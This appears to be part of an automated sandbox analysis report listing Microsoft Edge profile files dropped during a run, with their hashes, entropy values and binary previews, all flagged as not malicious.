Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rc..y.....exports...Rc.g.>....module....Rc........define....Rb2..z....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.V.".b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....W...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.499372319564014
Encrypted:	false
SSDEEP:	3:CntAR0Xl/l5V/lxE0tllxNbZAn:CntAK80/An
MD5:	A8B467CD7E81B4B8D93490904C130EEF
SHA1:	B512525C66E15F4D337424D3CFC74C4CAD7A5C89
SHA-256:	DD0B83742F4FB98EE1F66E6E45A5E19FE74BA3B2F5F91C3477084107F4FEEFCA
SHA-512:	C558EA0355BF41F5CF43449EA543C172C777089CF89E2F4B991A12B378A1CAA411A11E8A7FA63248AFABE60D364BD227450C0E8795FA7FBA442FEB7C1196EDD3
Malicious:	false
Preview:	@....'..oy retne.........................X....,................./e.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.499372319564014
Encrypted:	false
SSDEEP:	3:CntAR0Xl/l5V/lxE0tllxNbZAn:CntAK80/An
MD5:	A8B467CD7E81B4B8D93490904C130EEF
SHA1:	B512525C66E15F4D337424D3CFC74C4CAD7A5C89
SHA-256:	DD0B83742F4FB98EE1F66E6E45A5E19FE74BA3B2F5F91C3477084107F4FEEFCA
SHA-512:	C558EA0355BF41F5CF43449EA543C172C777089CF89E2F4B991A12B378A1CAA411A11E8A7FA63248AFABE60D364BD227450C0E8795FA7FBA442FEB7C1196EDD3
Malicious:	false
Preview:	@....'..oy retne.........................X....,................./e.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2ff26.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.499372319564014
Encrypted:	false
SSDEEP:	3:CntAR0Xl/l5V/lxE0tllxNbZAn:CntAK80/An
MD5:	A8B467CD7E81B4B8D93490904C130EEF
SHA1:	B512525C66E15F4D337424D3CFC74C4CAD7A5C89
SHA-256:	DD0B83742F4FB98EE1F66E6E45A5E19FE74BA3B2F5F91C3477084107F4FEEFCA
SHA-512:	C558EA0355BF41F5CF43449EA543C172C777089CF89E2F4B991A12B378A1CAA411A11E8A7FA63248AFABE60D364BD227450C0E8795FA7FBA442FEB7C1196EDD3
Malicious:	false
Preview:	@....'..oy retne.........................X....,................./e.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5775
Entropy (8bit):	3.3947406948710355
Encrypted:	false
SSDEEP:	96:bLsdBSdEBe3FwdrST6n7ootSNnmAV2iDRKQ9XT+gl+Cic65SLl9iSr/1F3Q1YjA:bLMBeorm6n7VunTTKQ9XT++dib5SLl9J
MD5:	9342E6B6C5EFB7DFB8FC1023C4A8F83E
SHA1:	5AB43A0365E146C4429832F6C007E6F17B681676
SHA-256:	5293D0F9983E28249932BE5588699613C49A00E86F4FAEB5EBABC7A242C8466B
SHA-512:	9C5DCAA53619EEA2909FB8D8FA776ED2BE1B3FABAF8F1C1FBFF96C75B8F2822C8413012852D6B2623622827FB0642AC48F85353933C6928888451954D28C2C6F
Malicious:	false
Preview:	...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................xoob................next-map-id.1.Cnamespace-843af6c5_b44c_4109_ae89_c152f272c03e-https://ntp.msn.com/.0V.e................V.e.................h..J................map-0-shd_sweeper.{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.t.q.o.h.p.a.d.c.,.a.d.s.-.m.n.-.m.i.g.r.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.p.r.g.-.1.s.-.d.w.v.i.d.-.c.t.r.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.q.c.i.p.t.t.c.i.e.n.t.0.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.m.s.n.h.o.m.e.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.n.t.f.1.-.r.d.i.d.n.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.1.s.w.-.p.n.o.t.i.a.,.p.r.g.-.p.1.-.t.s.4.c.o.l.d.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.110798496809976
Encrypted:	false
SSDEEP:	6:HHSGKPeHG3+q2PcNwi23oH+TcwtrQMxIFUt8YHSGKPUBFZZmw+YHSGKPQ8CVkwOl:nSGKPeHG3+vLZYebCFUt8kSGKPUBFZ/M
MD5:	2BC298B5006FE5BBEE53E988E3BF19AA
SHA1:	0CDB907EB8D5D6FF4E351167F5018387C3660F51
SHA-256:	E99B21589ACA764FBD5A7ED7D1B77FD3C7F5884F9866A1A3DE5495EA78C7F20F
SHA-512:	1C3918981F1CD9BF45438F31E5D735B6CD9CD81ADDE5ADBBDEE27F2A633999DADD9ECDA5AE304A4FF01FF5859BBAA796B5DEF5CFE587A769BE5EA998DAEE22BA
Malicious:	false
Preview:	2024/11/20-17:12:41.400 cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/20-17:12:41.401 cbc Recovering log #3.2024/11/20-17:12:41.405 cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.110798496809976
Encrypted:	false
SSDEEP:	6:HHSGKPeHG3+q2PcNwi23oH+TcwtrQMxIFUt8YHSGKPUBFZZmw+YHSGKPQ8CVkwOl:nSGKPeHG3+vLZYebCFUt8kSGKPUBFZ/M
MD5:	2BC298B5006FE5BBEE53E988E3BF19AA
SHA1:	0CDB907EB8D5D6FF4E351167F5018387C3660F51
SHA-256:	E99B21589ACA764FBD5A7ED7D1B77FD3C7F5884F9866A1A3DE5495EA78C7F20F
SHA-512:	1C3918981F1CD9BF45438F31E5D735B6CD9CD81ADDE5ADBBDEE27F2A633999DADD9ECDA5AE304A4FF01FF5859BBAA796B5DEF5CFE587A769BE5EA998DAEE22BA
Malicious:	false
Preview:	2024/11/20-17:12:41.400 cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/20-17:12:41.401 cbc Recovering log #3.2024/11/20-17:12:41.405 cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376614363026006

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8134184647233966
Encrypted:	false
SSDEEP:	24:3xVge83jw1ZMrWT5lepsAF4unxaztLp3X2amEtG1ChqXTboAQKkOAM49:3ge83k1Zsw+zF8Lp2FEkChivmHOp
MD5:	7D8069D1C444A2FD4766899FE9DBCC9A
SHA1:	1EE3B7254E1042F6AF1D5137BC26FCFDCEFCE4C9
SHA-256:	9DA241F850A9E8B30C1CC33BE4249574837F8EB706FAA9F932EF4E1D4F0EB73A
SHA-512:	DFA8DABC8E72EA1013E5226A87B8644851EA9109CA0A6CEA71662C8A733CC440D62B1A22F5121D7C29186DEBC779E95F2862E29354325422C3079DF2A0EF6481
Malicious:	false
Preview:	SNSS........hU............hU......".hU............hU........hU........hU........hU....!...hU................................hU.hU1..,....hU$...843af6c5_b44c_4109_ae89_c152f272c03e....hU........hU.... .h.........hU....hU........................hU....................5..0....hU&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}......hU........hU...........................hU............hU........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......e..r_'..f..r_'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.148018379323584
Encrypted:	false
SSDEEP:	6:HHSG/QOFN+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YHSG/Q61Zmw+YHSG/Q6ZVkwOcL:nSG/Q7vLZYebIhHh2FUt8kSG/Q61/+kH
MD5:	0E31BFE9251BC73BD54A021C173BDBAC
SHA1:	49BB111D30F2E85059A0BB908770F834A7A72890
SHA-256:	3D7D1E1670C5922EB2A67B334918E555A08CF2F45107021AD4C2049564B30CC6
SHA-512:	A3F0BB4CB06751F2E0F3DD239B9DE572D214735BF1DAD2A8BB883DD252BAE5F46B251FCB071B74552FBECD8013A771728BA63C1A0230C46C36BABEB0ED9DB934
Malicious:	false
Preview:	2024/11/20-17:12:40.539 1a78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/20-17:12:40.540 1a78 Recovering log #3.2024/11/20-17:12:40.540 1a78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.148018379323584
Encrypted:	false
SSDEEP:	6:HHSG/QOFN+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YHSG/Q61Zmw+YHSG/Q6ZVkwOcL:nSG/Q7vLZYebIhHh2FUt8kSG/Q61/+kH
MD5:	0E31BFE9251BC73BD54A021C173BDBAC
SHA1:	49BB111D30F2E85059A0BB908770F834A7A72890
SHA-256:	3D7D1E1670C5922EB2A67B334918E555A08CF2F45107021AD4C2049564B30CC6
SHA-512:	A3F0BB4CB06751F2E0F3DD239B9DE572D214735BF1DAD2A8BB883DD252BAE5F46B251FCB071B74552FBECD8013A771728BA63C1A0230C46C36BABEB0ED9DB934
Malicious:	false
Preview:	2024/11/20-17:12:40.539 1a78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/20-17:12:40.540 1a78 Recovering log #3.2024/11/20-17:12:40.540 1a78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018090556708630736
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZl2g+X:/M/xT02zbdX
MD5:	51D6069205B9C25D41F4519EB9991C7A
SHA1:	602515454FE25944196ED751CE3BC6FD1333E2B7
SHA-256:	E3E5D35F5B6F842F411B7BB2AD54A693D14F9F9FFBB0346A3B9344F6BCFDB4CE
SHA-512:	7C974D1B6BA956789E2EC8924B20B66A80DE169CAC497AD2CF5C4CD8C94AF6A56D2C40C378E49F8CCF965F7A2DA20DC636006593C6A4E7CDA0D596C1F5680633
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	437
Entropy (8bit):	5.185586783808986
Encrypted:	false
SSDEEP:	12:nSGKLIvLZYebvqBQFUt8kSGKL/+kSGKqz54ZYebvqBvJ:ne6lYebvZg8kmhoYebvk
MD5:	83E6A222043538486387F840675DEF2A
SHA1:	6FB77652AD7DFFFEF3D246741DAD36A41DE22253
SHA-256:	DA49DA521E9FE082DEFA25D1A29A0BCD827F74BAF0E45FD1AE0239FA95DDF215
SHA-512:	4B856374F4A2606288A24F26409EB2D257F3608969CC371C0EBFC19F6201BEE5B6579CEA81D74AEB83D4091F66D695E76A22FF6F901B38B8C03D64242BB23D37
Malicious:	false
Preview:	2024/11/20-17:12:41.206 c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/20-17:12:41.208 c10 Recovering log #3.2024/11/20-17:12:41.326 c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	437
Entropy (8bit):	5.185586783808986
Encrypted:	false
SSDEEP:	12:nSGKLIvLZYebvqBQFUt8kSGKL/+kSGKqz54ZYebvqBvJ:ne6lYebvZg8kmhoYebvk
MD5:	83E6A222043538486387F840675DEF2A
SHA1:	6FB77652AD7DFFFEF3D246741DAD36A41DE22253
SHA-256:	DA49DA521E9FE082DEFA25D1A29A0BCD827F74BAF0E45FD1AE0239FA95DDF215
SHA-512:	4B856374F4A2606288A24F26409EB2D257F3608969CC371C0EBFC19F6201BEE5B6579CEA81D74AEB83D4091F66D695E76A22FF6F901B38B8C03D64242BB23D37
Malicious:	false
Preview:	2024/11/20-17:12:41.206 c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/20-17:12:41.208 c10 Recovering log #3.2024/11/20-17:12:41.326 c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\08d9ec29-8633-431b-834a-504129e14667.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\34481f55-e056-46cd-bec1-5c60b6186c31.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\47b17e9c-14ec-4b36-abf5-59b5f6e1d930.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF28fe2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.188433015906798
Encrypted:	false
SSDEEP:	12:nSG3Qi+vLZYebvqBZFUt8kSGF/+kSGVV54ZYebvqBaJ:n5QTlYebvyg8kHvoYebvL
MD5:	314F24DC1E4EBF371EDF942D8DC55D78
SHA1:	79582BAEAE815FE986E796BD9202ED6634BE616F
SHA-256:	70609C77BD42EF35969C4112FFA02EB589CEE4B1A6C2E186F069068CE2D4DF28
SHA-512:	70AAA14793ECC64D45F316CFAA3344C0D73B10DF8BD9A75F0B00F4DFDD5BDE6105FAA39D9DE1949D92F9D41636BB33EDB45EEB796C922080CA9EE18C49AC51BE
Malicious:	false
Preview:	2024/11/20-17:12:57.105 cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/20-17:12:57.107 cbc Recovering log #3.2024/11/20-17:12:57.110 cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

